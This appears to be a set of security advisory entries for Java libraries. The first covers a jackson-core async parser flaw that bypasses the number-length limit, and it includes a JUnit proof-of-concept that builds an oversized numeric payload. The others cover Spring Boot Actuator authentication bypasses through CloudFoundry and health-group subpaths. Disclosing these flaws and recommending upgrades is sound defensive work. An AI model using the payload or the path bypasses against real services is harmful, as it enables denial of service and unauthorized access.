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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the Actuator CloudFoundry endpoints. An attacker can gain unauthorized access to protected endpoints by sending requests to application endpoints declared under the CloudFoundry Actuator path.

Note:

This is only exploitable if all of the following conditions are met:

• the application is a web application

• the application contributes an application endpoint that requires authentication under a subpath, like "/cloudfoundryapplication/admin"

Remediation

Upgrade org.springframework.boot:spring-boot-actuator to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the configuration of endpoints under paths already assigned to Health Group additional paths. An attacker can gain unauthorized access to protected endpoints by sending requests to these specific paths.

Note:

This is only exploitable if all of the following conditions are met:

• the application declares a custom health group (here "mygroup"), with management.endpoint.health.group.mygroup.include

• this health group is exposed under an additional path on the main server, like management.endpoint.health.group.mygroup.additional-path=server:/healthz

• the application contributes an application endpoint that requires authentication under a subpath, like "/healthz/admin"

Mapping application endpoints under infrastructure endpoints like Actuators is not recommended by the Spring team and doing so is likely to interfere with other configurations and cause behavior problems. This setup is expected to rarely occur in production.

Remediation

Upgrade org.springframework.boot:spring-boot-actuator to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the Actuator CloudFoundry endpoints. An attacker can gain unauthorized access to protected endpoints by sending requests to application endpoints declared under the CloudFoundry Actuator path.

Note:

This is only exploitable if all of the following conditions are met:

• the application is a web application

• the application contributes an application endpoint that requires authentication under a subpath, like "/cloudfoundryapplication/admin"

Remediation

Upgrade org.springframework.boot:spring-boot-actuator-autoconfigure to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the configuration of endpoints under paths already assigned to Health Group additional paths. An attacker can gain unauthorized access to protected endpoints by sending requests to these specific paths.

Note:

This is only exploitable if all of the following conditions are met:

• the application declares a custom health group (here "mygroup"), with management.endpoint.health.group.mygroup.include

• this health group is exposed under an additional path on the main server, like management.endpoint.health.group.mygroup.additional-path=server:/healthz

• the application contributes an application endpoint that requires authentication under a subpath, like "/healthz/admin"

Mapping application endpoints under infrastructure endpoints like Actuators is not recommended by the Spring team and doing so is likely to interfere with other configurations and cause behavior problems. This setup is expected to rarely occur in production.

Remediation

Upgrade org.springframework.boot:spring-boot-actuator-autoconfigure to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory